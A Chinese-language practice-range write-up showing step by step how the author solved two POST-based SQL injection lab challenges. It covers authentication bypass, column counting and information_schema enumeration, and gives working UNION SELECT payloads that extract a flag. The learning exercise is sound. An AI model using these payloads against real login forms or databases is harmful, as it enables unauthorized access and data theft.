POST_sql注入
POST注入,主要特征是有提交的表单!!!
因为GET和POST最大的区别是,一个参数是在url里面显示,另一个是在body中显示。
所以在弄POST注入的时候,是通过提交表单来实现的!!!
其实POST注入也是那5个规则:
1.首先找到注入点
2.探测页面字段数
3.探测输出点
4.探测数据库名和表名
5.获取字段值
开始~
靶场POST_rank1练手:
首先打开靶场,先看一下查询语句,发现有2个参数,一个是“username”,另一个是“password”。
看了一下,思考……感觉可以通过闭合引号+注释,来实现绕过用户名和密码,尝试:
输入:’ and 1=1 --q
额,没用。。。不是没用,是自己写错了,这个地方写成 and 的话,两边都要为true才行,所以应该写成 or
输入:’ or 1=1 --q
。。。还是错的,,不科学。。经过细致的分析,发现是mysql的注释,-- q 这个横杠和q之间要有空格,不然没啥用。
输入:’ or 1=1 – q
终于绕过去了,这个表明存在sql注入点。
然后探测页面的字段数,额,可以不用一个一个试,只要能快速定位边界就行了。
输入: ’ or 1=1 order by 3 – q
输入: ’ or 1=1 order by 4 – q
对比发现,页面的字段数是 3
然后接下来寻找输出点:
输入:’ union select 1,2,3 – q
下面开始探测数据库名:
输入: ’ or 1=1 union select 1,2,database() – q
这什么玩意!!!一脸懵。。。经过10多分钟的检查,才找到原因,页面输出默认是一个记录,如果有多个记录的话,也只会输出第一个,因为“ ’ or 1=1 union select 1,2,database() – q” 这行sql语句中,union前面是为true,所以,前面先输出 用户名和密码,然后 database()这行记录是在下一个,可以利用 limit 1,1 来实现输出:
输入: ’ or 1=1 union select 1,2,database() limit 1,1 – q
当然,除了上述添加limit的方式外,其实只要把union前面的弄成false 或者 null 就可以了,举例:
输入: ’ union select 1,2,database() – q
开始得心应手了~
下面开始探测表名啦:
输入:’ union select 1,2,table_name from information_schema.tables where table_schema=database() – q
恩,发现了flag关键字,猜想答案应该在flag这个表里,所以探测flag的字段名了。
输入:’ union select 1,2,column_name from information_schema.columns where table_name=‘flag’ and table_schema=database() – q
注意:这些地方,sql语句很简单,但是尤其要注意单词的拼写问题,有好几次因为拼错了导致查询失败。
发现是Id字段,不是想要的,继续下一个:
输入:’ union select 1,2,column_name from information_schema.columns where table_name=‘flag’ and table_schema=database() limit 1,1 – q
发现有叫 flag 的字段,所以现在弄出它的字段值:
输入:’ union select 1,2,flag from flag – q
拿去提交试试。。。
完美,是对的,这个就是POST_rank1的过程,下面开始POST_rank2的过程……
POST_rank2解题:
首先打开靶场,分析select语句:
发现 用户名和密码 都是用双引号括起来的
首先查看sql的注入点:
输入: ") or 1=1 – q
输入: ") or 1=2 – q
对比发现,存在POST的sql注入
下面开始探测页面的字段数:
输入:") or 1=1 order by 3 – q
输入:") or 1=1 order by 4 – q
对比图片发现,此页面的字段数是 3
然后开始确定输出点的位置:
输入:") union select 1,2,3 – q
然后呢,开始探测数据库的名字:
输入:") union select 1,2,database() – q
发现数据库的名字是 post_error。
然后开始探测表名了:
输入:") union select 1,2,table_name from information_schema.tables where table_schema=database() – q
发现有个表名叫flag,猜测答案应该在这个里面,先查看flag表:
查看表的字段名:
输入:") union select 1,2,column_name from information_schema.columns where table_schema=database() and table_name=‘flag’ – q
发现字段名叫Id,老样子,使用limit进行查看
输入:") union select 1,2,column_name from information_schema.columns where table_schema=database() and table_name=‘flag’ limit 1,1 – q
哦豁,看到一个叫flag的字段名啦,里面的字段值应该就是答案了~
下面开始查看字段值了:
输入:") union select 1,2,flag from flag – q
拿到一个答案,不知道对不对,先试试:
很遗憾,这个是错的答案,那么继续用limit查看下一个吧。
输入:") union select 1,2,flag from flag limit 1,1 – q
又看到一个,继续试试:
好吧,这回答案对了~
至此,POST注入的题目就写完了~
自我总结,和前面get注入其实是一样的,只不过一个是在url里面测试,一个在表单里面测试而已,加油~